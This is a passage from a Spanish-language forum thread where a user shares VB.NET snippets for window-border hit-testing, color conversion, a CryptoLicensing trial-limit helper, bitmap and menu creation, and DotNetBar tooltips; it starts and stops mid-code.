  204.        HorizontalScrollBar = 6
  205.  
  206.        ''' <summary>
  207.        ''' HTVSCROLL: In the vertical scroll bar.
  208.        ''' </summary>
  209.        VerticalScrollBar = 7
  210.  
  211.        ''' <summary>
  212.        ''' HTMINBUTTON: In a Minimize button.
  213.        ''' </summary>
  214.        MinimizeButton = 8
  215.  
  216.        ''' <summary>
  217.        ''' HTMAXBUTTON: In a Maximize button.
  218.        ''' </summary>
  219.        MaximizeButton = 9
  220.  
  221.        ''' <summary>
  222.        ''' HTLEFT: In the left border of a resizable window.
  223.        ''' (the user can click the mouse to resize the window horizontally).
  224.        ''' </summary>
  225.        LeftSizeableBorder = 10
  226.  
  227.        ''' <summary>
  228.        ''' HTRIGHT: In the right border of a resizable window.
  229.        ''' (the user can click the mouse to resize the window horizontally).
  230.        ''' </summary>
  231.        RightSizeableBorder = 11
  232.  
  233.        ''' <summary>
  234.        ''' HTTOP: In the upper-horizontal border of a window.
  235.        ''' </summary>
  236.        TopSizeableBorder = 12
  237.  
  238.        ''' <summary>
  239.        ''' HTTOPLEFT: In the upper-left corner of a window border.
  240.        ''' </summary>
  241.        TopLeftSizeableCorner = 13
  242.  
  243.        ''' <summary>
  244.        ''' HTTOPRIGHT: In the upper-right corner of a window border.
  245.        ''' </summary>
  246.        TopRightSizeableCorner = 14
  247.  
  248.        ''' <summary>
  249.        ''' HTBOTTOM: In the lower-horizontal border of a resizable window.
  250.        ''' (the user can click the mouse to resize the window vertically).
  251.        ''' </summary>
  252.        BottomSizeableBorder = 15
  253.  
  254.        ''' <summary>
  255.        ''' HTBOTTOMLEFT: In the lower-left corner of a border of a resizable window.
  256.        ''' (the user can click the mouse to resize the window diagonally).
  257.        ''' </summary>
  258.        BottomLeftSizeableCorner = 16
  259.  
  260.        ''' <summary>
  261.        ''' HTBOTTOMRIGHT: In the lower-right corner of a border of a resizable window.
  262.        ''' (the user can click the mouse to resize the window diagonally).
  263.        ''' </summary>
  264.        BottomRightSizeableCorner = 17
  265.  
  266.        ''' <summary>
  267.        ''' HTBORDER: In the border of a window that does not have a sizing border.
  268.        ''' </summary>
  269.        NonSizableBorder = 18
  270.  
  271.        ' ''' <summary>
  272.        ' ''' HTOBJECT: Not implemented.
  273.        ' ''' </summary>
  274.        ' [Object] = 19
  275.  
  276.        ''' <summary>
  277.        ''' HTCLOSE: In a Close button.
  278.        ''' </summary>
  279.        CloseButton = 20
  280.  
  281.        ''' <summary>
  282.        ''' HTHELP: In a Help button.
  283.        ''' </summary>
  284.        HelpButton = 21
  285.  
  286.        ''' <summary>
  287.        ''' HTSIZE: In a size box (same as HTGROWBOX).
  288.        ''' (Same as GrowBox).
  289.        ''' </summary>
  290.        SizeBox = GrowBox
  291.  
  292.        ''' <summary>
  293.        ''' HTREDUCE: In a Minimize button.
  294.        ''' (Same as MinimizeButton).
  295.        ''' </summary>
  296.        ReduceButton = MinimizeButton
  297.  
  298.        ''' <summary>
  299.        ''' HTZOOM: In a Maximize button.
  300.        ''' (Same as MaximizeButton).
  301.        ''' </summary>
  302.        ZoomButton = MaximizeButton
  303.  
  304.    End Enum
  305.  
  306. #End Region
  307.  
  308. #End Region
  309.  
  310. #Region " Constructor "
  311.  
  312.    ''' <summary>
  313.    ''' Initializes a new instance of the <see cref="FormBorderManager"/> class.
  314.    ''' </summary>
  315.    ''' <param name="form">The form to assign.</param>
  316.    Public Sub New(ByVal form As Form)
  317.  
  318.        ' Assign the Formulary.
  319.        Me.form = form
  320.  
  321.        ' Assign the form handle.
  322.        Me.SetFormHandle()
  323.  
  324.    End Sub
  325.  
  326. #End Region
  327.  
  328. #Region " Event Handlers "
  329.  
  330.    ''' <summary>
  331.    ''' Assign the handle of the target form to this NativeWindow,
  332.    ''' necessary to override WndProc.
  333.    ''' </summary>
  334.    Private Sub SetFormHandle() _
  335.    Handles Form.HandleCreated, Form.Load, Form.Shown
  336.  
  337.        Try
  338.            If Not MyBase.Handle.Equals(Me.form.Handle) Then
  339.                MyBase.AssignHandle(Me.form.Handle)
  340.            End If
  341.        Catch ' ex As InvalidOperationException
  342.        End Try
  343.  
  344.    End Sub
  345.  
  346.    ''' <summary>
  347.    ''' Releases the Handle.
  348.    ''' </summary>
  349.    Private Sub OnHandleDestroyed() _
  350.    Handles Form.HandleDestroyed
  351.  
  352.        MyBase.ReleaseHandle()
  353.  
  354.    End Sub
  355.  
  356. #End Region
  357.  
  358. #Region " WndProc "
  359.  
  360.    ''' <summary>
  361.    ''' Invokes the default window procedure associated with this window to process messages for this Window.
  362.    ''' </summary>
  363.    ''' <param name="m">
  364.    ''' A <see cref="T:System.Windows.Forms.Message" /> that is associated with the current Windows message.
  365.    ''' </param>
  366.    Protected Overrides Sub WndProc(ByRef m As Message)
  367.  
  368.        MyBase.WndProc(m)
  369.  
  370.        Select Case m.Msg
  371.  
  372.            Case KnownMessages.WM_NCHITTEST
  373.  
  374.                Select Case CType(m.Result, WindowHitTestRegions)
  375.  
  376.                    Case WindowHitTestRegions.TopSizeableBorder ' The mouse hotspot is pointing to Top border.
  377.                        m.Result = New IntPtr(Edges.Top)
  378.  
  379.                    Case WindowHitTestRegions.LeftSizeableBorder ' The mouse hotspot is pointing to Left border.
  380.                        m.Result = New IntPtr(Edges.Left)
  381.  
  382.                    Case WindowHitTestRegions.RightSizeableBorder ' The mouse hotspot is pointing to Right border.
  383.                        m.Result = New IntPtr(Edges.Right)
  384.  
  385.                    Case WindowHitTestRegions.BottomSizeableBorder ' The mouse hotspot is pointing to Bottom border.
  386.                        m.Result = New IntPtr(Edges.Bottom)
  387.  
  388.                    Case WindowHitTestRegions.TopLeftSizeableCorner ' The mouse hotspot is pointing to Top-Left border.
  389.                        m.Result = New IntPtr(Edges.TopLeft)
  390.  
  391.                    Case WindowHitTestRegions.TopRightSizeableCorner ' The mouse hotspot is pointing to Top-Right border.
  392.                        m.Result = New IntPtr(Edges.TopRight)
  393.  
  394.                    Case WindowHitTestRegions.BottomLeftSizeableCorner ' The mouse hotspot is pointing to Bottom-Left border.
  395.                        m.Result = New IntPtr(Edges.BottomLeft)
  396.  
  397.                    Case WindowHitTestRegions.BottomRightSizeableCorner ' The mouse hotspot is pointing to Bottom-Right border.
  398.                        m.Result = New IntPtr(Edges.BottomRight)
  399.  
  400.                End Select
  401.  
  402.        End Select
  403.  
  404.    End Sub
  405.  
  406. #End Region
  407.  
  408. #Region " Public Methods "
  409.  
  410.    ''' <summary>
  411.    ''' Disables the resizing on all border edges.
  412.    ''' </summary>
  413.    Public Sub SetAllEdgesToNonResizable()
  414.  
  415.        DisposedCheck()
  416.  
  417.        Me.Edges.Top = WindowHitTestRegions.TitleBar
  418.        Me.Edges.Left = WindowHitTestRegions.TitleBar
  419.        Me.Edges.Right = WindowHitTestRegions.TitleBar
  420.        Me.Edges.Bottom = WindowHitTestRegions.TitleBar
  421.        Me.Edges.TopLeft = WindowHitTestRegions.TitleBar
  422.        Me.Edges.TopRight = WindowHitTestRegions.TitleBar
  423.        Me.Edges.BottomLeft = WindowHitTestRegions.TitleBar
  424.        Me.Edges.BottomRight = WindowHitTestRegions.TitleBar
  425.  
  426.    End Sub
  427.  
  428.    ''' <summary>
  429.    ''' Enables the resizing on all border edges.
  430.    ''' </summary>
  431.    Public Sub SetAllEdgesToResizable()
  432.  
  433.        DisposedCheck()
  434.  
  435.        Me.Edges.Top = WindowHitTestRegions.TopSizeableBorder
  436.        Me.Edges.Left = WindowHitTestRegions.LeftSizeableBorder
  437.        Me.Edges.Right = WindowHitTestRegions.RightSizeableBorder
  438.        Me.Edges.Bottom = WindowHitTestRegions.BottomSizeableBorder
  439.        Me.Edges.TopLeft = WindowHitTestRegions.TopLeftSizeableCorner
  440.        Me.Edges.TopRight = WindowHitTestRegions.TopRightSizeableCorner
  441.        Me.Edges.BottomLeft = WindowHitTestRegions.BottomLeftSizeableCorner
  442.        Me.Edges.BottomRight = WindowHitTestRegions.BottomRightSizeableCorner
  443.  
  444.    End Sub
  445.  
  446.    ''' <summary>
  447.    ''' Enabled the moving on all border edges.
  448.    ''' </summary>
  449.    Public Sub SetAllEdgesToMoveable()
  450.  
  451.        DisposedCheck()
  452.  
  453.        Me.Edges.Top = WindowHitTestRegions.TopSizeableBorder
  454.        Me.Edges.Left = WindowHitTestRegions.LeftSizeableBorder
  455.        Me.Edges.Right = WindowHitTestRegions.RightSizeableBorder
  456.        Me.Edges.Bottom = WindowHitTestRegions.BottomSizeableBorder
  457.        Me.Edges.TopLeft = WindowHitTestRegions.TopLeftSizeableCorner
  458.        Me.Edges.TopRight = WindowHitTestRegions.TopRightSizeableCorner
  459.        Me.Edges.BottomLeft = WindowHitTestRegions.BottomLeftSizeableCorner
  460.        Me.Edges.BottomRight = WindowHitTestRegions.BottomRightSizeableCorner
  461.  
  462.    End Sub
  463.  
  464.    ''' <summary>
  465.    ''' Disables the moving on all border edges.
  466.    ''' </summary>
  467.    Public Sub SetAllEdgesToNonMoveable()
  468.  
  469.        DisposedCheck()
  470.  
  471.        Me.Edges.Top = WindowHitTestRegions.NoWhere
  472.        Me.Edges.Left = WindowHitTestRegions.NoWhere
  473.        Me.Edges.Right = WindowHitTestRegions.NoWhere
  474.        Me.Edges.Bottom = WindowHitTestRegions.NoWhere
  475.        Me.Edges.TopLeft = WindowHitTestRegions.NoWhere
  476.        Me.Edges.TopRight = WindowHitTestRegions.NoWhere
  477.        Me.Edges.BottomLeft = WindowHitTestRegions.NoWhere
  478.        Me.Edges.BottomRight = WindowHitTestRegions.NoWhere
  479.  
  480.    End Sub
  481.  
  482. #End Region
  483.  
  484. #Region " Hidden methods "
  485.  
  486.    ' These methods and properties are purposely hidden from Intellisense just to look better without unneeded methods.
  487.    ' NOTE: The methods can be re-enabled at any-time if needed.
  488.  
  489.    ''' <summary>
  490.    ''' Assigns the handle.
  491.    ''' </summary>
  492.    <EditorBrowsable(EditorBrowsableState.Never)>
  493.    Public Shadows Sub AssignHandle()
  494.    End Sub
  495.  
  496.    ''' <summary>
  497.    ''' Creates the handle.
  498.    ''' </summary>
  499.    <EditorBrowsable(EditorBrowsableState.Never)>
  500.    Public Shadows Sub CreateHandle()
  501.    End Sub
  502.  
  503.    ''' <summary>
  504.    ''' Creates the object reference.
  505.    ''' </summary>
  506.    <EditorBrowsable(EditorBrowsableState.Never)>
  507.    Public Shadows Sub CreateObjRef()
  508.    End Sub
  509.  
  510.    ''' <summary>
  511.    ''' Definitions the WND proc.
  512.    ''' </summary>
  513.    <EditorBrowsable(EditorBrowsableState.Never)>
  514.    Public Shadows Sub DefWndProc()
  515.    End Sub
  516.  
  517.    ''' <summary>
  518.    ''' Destroys the window and its handle.
  519.    ''' </summary>
  520.    <EditorBrowsable(EditorBrowsableState.Never)>
  521.    Public Shadows Sub DestroyHandle()
  522.    End Sub
  523.  
  524.    ''' <summary>
  525.    ''' Equalses this instance.
  526.    ''' </summary>
  527.    <EditorBrowsable(EditorBrowsableState.Never)>
  528.    Public Shadows Sub Equals()
  529.    End Sub
  530.  
  531.    ''' <summary>
  532.    ''' Gets the hash code.
  533.    ''' </summary>
  534.    <EditorBrowsable(EditorBrowsableState.Never)>
  535.    Public Shadows Sub GetHashCode()
  536.    End Sub
  537.  
  538.    ''' <summary>
  539.    ''' Gets the lifetime service.
  540.    ''' </summary>
  541.    <EditorBrowsable(EditorBrowsableState.Never)>
  542.    Public Shadows Sub GetLifetimeService()
  543.    End Sub
  544.  
  545.    ''' <summary>
  546.    ''' Initializes the lifetime service.
  547.    ''' </summary>
  548.    <EditorBrowsable(EditorBrowsableState.Never)>
  549.    Public Shadows Sub InitializeLifetimeService()
  550.    End Sub
  551.  
  552.    ''' <summary>
  553.    ''' Releases the handle associated with this window.
  554.    ''' </summary>
  555.    <EditorBrowsable(EditorBrowsableState.Never)>
  556.    Public Shadows Sub ReleaseHandle()
  557.    End Sub
  558.  
  559.    ''' <summary>
  560.    ''' Gets the handle for this window.
  561.    ''' </summary>
  562.    <EditorBrowsable(EditorBrowsableState.Never)>
  563.    Public Shadows Property Handle()
  564.  
  565. #End Region
  566.  
  567. #Region " IDisposable "
  568.  
  569.    ''' <summary>
  570.    ''' To detect redundant calls when disposing.
  571.    ''' </summary>
  572.    Private IsDisposed As Boolean = False
  573.  
  574.    ''' <summary>
  575.    ''' Prevent calls to methods after disposing.
  576.    ''' </summary>
  577.    ''' <exception cref="System.ObjectDisposedException"></exception>
  578.    Private Sub DisposedCheck()
  579.        If Me.IsDisposed Then
  580.            Throw New ObjectDisposedException(Me.GetType().FullName)
  581.        End If
  582.    End Sub
  583.  
  584.    ''' <summary>
  585.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  586.    ''' </summary>
  587.    Public Sub Dispose() Implements IDisposable.Dispose
  588.        Dispose(True)
  589.        GC.SuppressFinalize(Me)
  590.    End Sub
  591.  
  592.    ''' <summary>
  593.    ''' Releases unmanaged and - optionally - managed resources.
  594.    ''' </summary>
  595.    ''' <param name="IsDisposing">
  596.    ''' <c>true</c> to release both managed and unmanaged resources;
  597.    ''' <c>false</c> to release only unmanaged resources.
  598.    ''' </param>
  599.  
  600.    Protected Sub Dispose(IsDisposing As Boolean)
  601.  
  602.        If Not Me.IsDisposed Then
  603.  
  604.            If IsDisposing Then
  605.                Me.form = Nothing
  606.                MyBase.ReleaseHandle()
  607.                MyBase.DestroyHandle()
  608.            End If
  609.  
  610.        End If
  611.  
  612.        Me.IsDisposed = True
  613.  
  614.    End Sub
  615.  
  616. #End Region
  617.  
  618. End Class
  619.  
  620. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 13 Enero 2014, 17:46 pm
Una Helper Class con utilidades variadas relacionadas con los colores:

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Created  : 01-13-2014
  4. ' Modified : 01-13-2014
  5. ' ***********************************************************************
  6.  
  7. ' --------------
  8. ' Public Methods
  9. ' --------------
  10. '
  11. ' Screen.GetPixelColor
  12. ' Screen.GetPixelBrush
  13. ' Screen.GetPixelPen
  14. '
  15. ' ColorConvert.ColorToBrush
  16. ' ColorConvert.ColorToPen
  17. ' ColorConvert.BrushToColor
  18. ' ColorConvert.PentoColor
  19. '
  20. ' StringConvert.ColorToString
  21. ' StringConvert.BrushToString
  22. ' StringConvert.PenToString
  23. ' StringConvert.StringToColor
  24. ' StringConvert.StringToBrush
  25. ' StringConvert.StringToPen
  26. ' StringConvert.StringToString
  27. '
  28. ' RandomGenerators.ARGB
  29. ' RandomGenerators.RGB
  30. ' RandomGenerators.QB
  31. ' RandomGenerators.ConsoleColor
  32. ' RandomGenerators.Brush
  33. ' RandomGenerators.Pen

La Class no cabe en un post, aquí la pueden ver ~> http://pastebin.com/88Q0wGPf

Ejemplos de uso:

Código
  1. ' Gets the color of the pixel at the 50,100 coordinates:
  2. Dim c As Color = ColorTools.Screen.GetPixelColor(50, 100)
  3.  
  4. ' Generates a random Brush
  5. Dim br As SolidBrush = ColorTools.RandomGenerators.Brush
  6.  
  7. ' Converts a SolidBrush to a Color:
  8. Dim c As Color = ColorTools.ColorConvert.BrushToColor(New SolidBrush(Color.Red))
  9.  
  10. ' Converts an HTML Color-String to a Color:
  11. PictureBox1.BackColor = ColorTools.StringConvert.StringToColor("#FF00FFFF",
  12.                                                                ColorTools.StringConvert.ValueFormat.HTML,
  13.                                                                ColorTools.StringConvert.StringSyntax.None)
  14.  
  15. ' Converts an Hex Color-String to a Color:
  16. MsgBox(ColorTools.StringConvert.StringToColor("0x003399",
  17.                                               ColorTools.StringConvert.ValueFormat.Hexadecimal,
  18.                                               ColorTools.StringConvert.StringSyntax.None))
  19.  
  20. ' Converts a Byte Color-String with VisyalStudio's property grid syntax to a Color:
  21. MsgBox(ColorTools.StringConvert.StringToColor("255; 255; 255; 255",
  22.                                               ColorTools.StringConvert.ValueFormat.Byte,
  23.                                               ColorTools.StringConvert.StringSyntax.VisualStudioPropertyGrid).
  24.                                               Name)
  25.  
  26. ' Converts a HEX Color-String with VB.NET syntax to a Color:
  27. MsgBox(ColorTools.StringConvert.StringToColor("Color.FromArgb(&HFF, &H5F, &HEC, &H12)",
  28.                                               ColorTools.StringConvert.ValueFormat.Hexadecimal,
  29.                                               ColorTools.StringConvert.StringSyntax.VBNET).
  30.                                               ToString)
  31.  
  32. ' Converts an HTML Color-String with C# Syntax to a Brush:
  33. Dim br As Brush = ColorTools.StringConvert.StringToBrush("ColorTranslator.FromHtml(""#F71608"");",
  34.                                                          ColorTools.StringConvert.ValueFormat.HTML,
  35.                                                          ColorTools.StringConvert.StringSyntax.VBNET)
  36.  
  37. ' Converts a Color-String to other Color-String:
  38. MsgBox(ColorTools.StringConvert.StringToString("ColorTranslator.FromHtml(""#AF0CCAFE"");",
  39.                                                ColorTools.StringConvert.ValueFormat.HTML,
  40.                                                ColorTools.StringConvert.StringSyntax.CSharp,
  41.                                                ColorTools.StringConvert.ValueFormat.Byte,
  42.                                                ColorTools.StringConvert.StringSyntax.None,
  43.                                                True))





Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: CatadorDeVeneno en 13 Enero 2014, 18:11 pm
A mi no me deja descargar, ¿me podrias facilitar un enlace por MP?
Muy buen aporte!!
Muchas gracias!!


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 13 Enero 2014, 18:35 pm
A mi no me deja descargar, ¿me podrias facilitar un enlace por MP?

Hola,
He actualizado el enlace en la primera página ~> http://www.mediafire.com/download/ms5r82x12y32p8a/My%20Code%20Snippets.rar

Saludos!


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 15 Enero 2014, 22:38 pm
Una forma muy, muy sencilla de implementar una evaluación Trial del programa, usando la librería CryptoLicensing.

NOTA: El tipo de protección y checkeos, ya sea una evaluación trial, un límite de máquinas o un límite de usos, o una comprobación hardware-id ...todo se genera desde la aplicación de CryptoLicensing y queda registrado en la propiedad "LicenseCode"... mi ayudante está pensado para una evaluación muy sencilla y básica sin posibilidad de validar, es decir, no está pensado para evaluar licencias válidas ...sinó más bien para restringir la aplicación a un máximo de usos y/o duración de ejecución y/o dias, todavía no he indagado mucho en el modo de uso de la librería.

Código
  1. ' CryptoLicense Helper
  2. ' ( By Elektro )
  3. '
  4. ' Usage Examples:
  5. ' Dim MyLicense As New Licenser
  6.  
  7. #Region " Imports "
  8.  
  9. Imports LogicNP.CryptoLicensing
  10. Imports System.Windows.Forms
  11.  
  12. #End Region
  13.  
  14. ''' <summary>
  15. ''' Manages the license of this Application.
  16. ''' </summary>
  17. Public Class Licenser
  18.  
  19. #Region " Members "
  20.  
  21.    ''' <summary>
  22.    ''' The license object.
  23.    ''' </summary>
  24.    Public WithEvents License As CryptoLicense =
  25.        New CryptoLicense() With
  26.        {
  27.            .ValidationKey = "AMAAMACSde6/zo6beBTzxAC5D9qrf6OyReAJwGB30gMr5ViI1/+ZXRzwt7M+KnraMKNkaREDAAEAAQ==",
  28.            .LicenseCode = "FgCAABguQrc4Es8BAQETTsmKhj/OGCuTbJzExXb9GO7sx3yR6wQIGynJ76g7DyxOU0zgSZ82lYtuIa8r9m8="
  29.        }
  30.  
  31.    ''' <summary>
  32.    ''' The license message to display on a MessageBox.
  33.    ''' </summary>
  34.    Private LicenseMessage As String = String.Empty
  35.  
  36. #End Region
  37.  
  38. #Region " Constructor "
  39.  
  40.    ''' <summary>
  41.    ''' Initializes a new instance of the <see cref="Licenser"/> class.
  42.    ''' </summary>
  43.    Public Sub New()
  44.  
  45.        Select Case License.Status
  46.  
  47.            Case LicenseStatus.Valid
  48.                OnValid()
  49.  
  50.            Case LicenseStatus.InValid
  51.                OnInvalid()
  52.  
  53.            Case LicenseStatus.Expired
  54.                OnExpired()
  55.  
  56.            Case LicenseStatus.UsageDaysExceeded
  57.                OnUsageDaysExceeded()
  58.  
  59.            Case LicenseStatus.ExecutionsExceeded
  60.                OnExecutionsExceeded()
  61.  
  62.        End Select
  63.  
  64.    End Sub
  65.  
  66. #End Region
  67.  
  68. #Region " Methods "
  69.  
  70.    ''' <summary>
  71.    ''' Called when license status is valid.
  72.    ''' </summary>
  73.    Private Sub OnValid()
  74.  
  75.        If License.RemainingUsageDays <> Short.MaxValue Then
  76.  
  77.            LicenseMessage = String.Format("{0} days remaining.",
  78.                                           CStr(License.RemainingUsageDays))
  79.            ShowLicenseMessage(False)
  80.  
  81.        End If
  82.  
  83.    End Sub
  84.  
  85.    ''' <summary>
  86.    ''' Called when license status is invalid.
  87.    ''' </summary>
  88.    Private Sub OnInvalid()
  89.  
  90.        LicenseMessage = "Invalid License."
  91.        ShowLicenseMessage(True)
  92.        Terminate()
  93.  
  94.    End Sub
  95.  
  96.    ''' <summary>
  97.    ''' Called when license status expired.
  98.    ''' </summary>
  99.    Private Sub OnExpired()
  100.  
  101.        LicenseMessage = String.Format("License has expired on {0}.",
  102.                                       CStr(License.DateExpires))
  103.        ShowLicenseMessage(True)
  104.        Terminate()
  105.  
  106.    End Sub
  107.  
  108.    ''' <summary>
  109.    ''' Called when license status usage days exceeded.
  110.    ''' </summary>
  111.    Private Sub OnUsageDaysExceeded()
  112.  
  113.        LicenseMessage = String.Format("This software is limited to 7 days, this is the {0} day.",
  114.                                       CStr(License.CurrentUsageDays))
  115.        ShowLicenseMessage(True)
  116.        Terminate()
  117.  
  118.    End Sub
  119.  
  120.    ''' <summary>
  121.    ''' Called when license status executions exceeded.
  122.    ''' </summary>
  123.    Private Sub OnExecutionsExceeded()
  124.  
  125.        LicenseMessage = String.Format("This software is limited to 5 executions, this is the {0} execution.",
  126.                                       CStr(License.CurrentExecutions))
  127.        ShowLicenseMessage(True)
  128.        Terminate()
  129.  
  130.    End Sub
  131.  
  132. #End Region
  133.  
  134. #Region " Miscellaneous Methods "
  135.  
  136.    ''' <summary>
  137.    ''' Shows the license message on a MessageBox.
  138.    ''' </summary>
  139.    Private Sub ShowLicenseMessage(Optional ByVal ShowBuyComment As Boolean = False)
  140.  
  141.        LicenseMessage = String.Format("{0}{1}",
  142.                                       LicenseMessage,
  143.                                       If(ShowBuyComment,
  144.                                          Environment.NewLine & "Please buy this software.",
  145.                                          Nothing))
  146.  
  147.        MessageBox.Show(LicenseMessage, "License Information", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
  148.  
  149.    End Sub
  150.  
  151.    ''' <summary>
  152.    ''' Terminates the application.
  153.    ''' </summary>
  154.    Private Sub Terminate()
  155.  
  156.        Application.Exit() ' Terminate the application.
  157.  
  158.    End Sub
  159.  
  160. #End Region
  161.  
  162. #Region " Event Handlers "
  163.  
  164.    ''' <summary>
  165.    ''' Handles the RunTimeExceeded event of the License.
  166.    ''' </summary>
  167.    ''' <param name="sender">The source of the event.</param>
  168.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  169.    Private Sub License_RunTimeExceeded(ByVal sender As Object, e As EventArgs) _
  170.    Handles License.RunTimeExceeded
  171.  
  172.        LicenseMessage = "Maximum usage time exceeded."
  173.        ShowLicenseMessage(True)
  174.        Terminate()
  175.  
  176.    End Sub
  177.  
  178. #End Region
  179.  
  180. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Enero 2014, 01:54 am
Determina si el ratón está dentro del rango de pixels de un Control.

Código
  1.    ' Mouse Is Over Control?
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(MouseIsOverControl(PictureBox1))
  6.    '
  7.    ''' <summary>
  8.    ''' Determinates whether the mouse pointer is over a pixel range of a specified control.
  9.    ''' </summary>
  10.    ''' <param name="Control">The control.</param>
  11.    ''' <returns>
  12.    ''' <c>true</c> if mouse is inside the pixel range, <c>false</c> otherwise.
  13.    ''' </returns>
  14.    Private Function MouseIsOverControl(ByVal [Control] As Control) As Boolean
  15.  
  16.        Return [Control].ClientRectangle.Contains([Control].PointToClient(MousePosition))
  17.  
  18.    End Function



 Crea un Bitmap y lo rellena con un color específico.

Código
  1.    ' Create Solid Bitmap
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' PictureBox1.BackgroundImage = CreateSolidBitmap(New Size(16, 16), Color.Red)
  6.    '
  7.    ''' <summary>
  8.    ''' Creates a bitmap filled with a solid color.
  9.    ''' </summary>
  10.    ''' <param name="FillColor">Color to fill the Bitmap.</param>
  11.    ''' <returns>A Bitmap filled with the specified color.</returns>
  12.    Private Function CreateSolidBitmap(ByVal [Size] As Size,
  13.                                       ByVal FillColor As Color) As Bitmap
  14.  
  15.        ' Create a bitmap.
  16.        Dim bmp As New Bitmap([Size].Width, [Size].Height)
  17.  
  18.        ' Create a graphics object.
  19.        Using g As Graphics = Graphics.FromImage(bmp)
  20.  
  21.            ' Create a brush using the specified color.
  22.            Using br As New SolidBrush(FillColor)
  23.  
  24.                ' Fill the graphics object with the brush.
  25.                g.FillRectangle(br, 0, 0, bmp.Width, bmp.Height)
  26.  
  27.            End Using ' br
  28.  
  29.        End Using ' g
  30.  
  31.        Return bmp
  32.  
  33.    End Function



 Crea una serie de ToolStripItems en tiempo de ejecución.

Código
  1.    ' Create ToolStripItems at execution-time.
  2.    ' ( By Elektro )
  3.    '
  4.    ''' <summary>
  5.    ''' Handles the MouseEnter event of the ToolStripMenuItem control.
  6.    ''' </summary>
  7.    ''' <param name="sender">The source of the event.</param>
  8.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  9.    Private Sub ToolStripMenuItem1_MouseEnter(sender As Object, e As EventArgs) _
  10.    Handles ToolStripMenuItem1.MouseEnter
  11.  
  12.        ' Cast the Sender object.
  13.        Dim MenuItem As ToolStripMenuItem = CType(sender, ToolStripMenuItem)
  14.  
  15.        ' Remove previous Item handlers.
  16.        For Each Item As ToolStripItem In MenuItem.DropDown.Items
  17.            RemoveHandler Item.Click, AddressOf DropDownItems_Click
  18.        Next Item
  19.  
  20.        ' Clear previous items.
  21.        MenuItem.DropDown.Items.Clear()
  22.  
  23.        ' Set the DropDown Backcolor.
  24.        MenuItem.DropDown.BackColor = MenuItem.BackColor
  25.  
  26.        ' Create new items.
  27.        For X As Integer = 0 To 5
  28.  
  29.            ' Add the Item and set the Text, Image, and OnClick event handler.
  30.            Dim Item As ToolStripItem =
  31.                MenuItem.DropDown.Items.Add([Enum].Parse(GetType(ConsoleColor), X).ToString,
  32.                                            New Bitmap(1, 1),
  33.                                            AddressOf DropDownItems_Click)
  34.  
  35.            ' Set other item properties.
  36.            With Item
  37.                .Tag = X
  38.            End With
  39.  
  40.        Next X
  41.  
  42.    End Sub
  43.  
  44.    ''' <summary>
  45.    ''' Handles the Click event of the DropDownItems.
  46.    ''' </summary>
  47.    ''' <param name="sender">The source of the event.</param>
  48.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  49.    Private Sub DropDownItems_Click(sender As Object, e As EventArgs)
  50.  
  51.        MsgBox(String.Format("Item clicked: {0} | {1}", CStr(sender.Tag), CStr(sender.Text)))
  52.  
  53.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Enero 2014, 02:01 am
Unos Snippets que he escrito para algunos de los controles de usuario de DotNetBar.

Ejemplo de como crear y mostrar un Ballon.

Código
  1.    ' DotNetBar [Ballon] Example to create a new Ballon.
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
  6.  
  7.    ''' <summary>
  8.    ''' The DotNetBar Ballon object.
  9.    ''' </summary>
  10.    Private WithEvents BallonTip As Balloon = Nothing
  11.  
  12.    ''' <summary>
  13.    ''' Handles the MouseEnter event of the TextBox1 control.
  14.    ''' </summary>
  15.    ''' <param name="sender">The source of the event.</param>
  16.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  17.    Private Sub TextBox1_MouseEnter(ByVal sender As Object, ByVal e As EventArgs) _
  18.    Handles TextBox1.MouseEnter
  19.  
  20.        BallonTip = New Balloon()
  21.  
  22.        ' Set the properties to customize the Ballon.
  23.        With BallonTip
  24.  
  25.            .Owner = Me
  26.            .Style = eBallonStyle.Balloon
  27.            .AutoCloseTimeOut = 5 ' In seconds.
  28.  
  29.            .BorderColor = Color.YellowGreen
  30.            .BackColor = Color.FromArgb(80, 80, 80)
  31.            .BackColor2 = Color.FromArgb(40, 40, 40)
  32.            .BackColorGradientAngle = 90
  33.  
  34.            .CaptionIcon = Nothing
  35.            .CaptionImage = Nothing
  36.            .CaptionText = "I'm a BallonTip"
  37.            .CaptionFont = .Owner.Font
  38.            .CaptionColor = Color.YellowGreen
  39.  
  40.            .Text = "I'm the BallonTip text"
  41.            .ForeColor = Color.WhiteSmoke
  42.  
  43.            .AutoResize() ' Autoresize the Ballon, after setting the text.
  44.            .Show(sender, False) ' Show it.
  45.  
  46.        End With
  47.  
  48.    End Sub
  49.  
  50.    ''' <summary>
  51.    ''' Handles the MouseLeave event of the TextBox1 control.
  52.    ''' </summary>
  53.    ''' <param name="sender">The source of the event.</param>
  54.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  55.    Private Sub DisposeBallon(ByVal sender As Object, ByVal e As EventArgs) _
  56.    Handles TextBox1.MouseLeave
  57.  
  58.        If BallonTip IsNot Nothing AndAlso BallonTip.Visible Then
  59.            BallonTip.Dispose()
  60.        End If
  61.  
  62.    End Sub




Muestra un SuperTooltipInfo en unas coordenadas específicas.

Código
  1.    ' DotNetBar [SuperTooltipInfo] Show SuperTooltipInfo at MousePosition
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
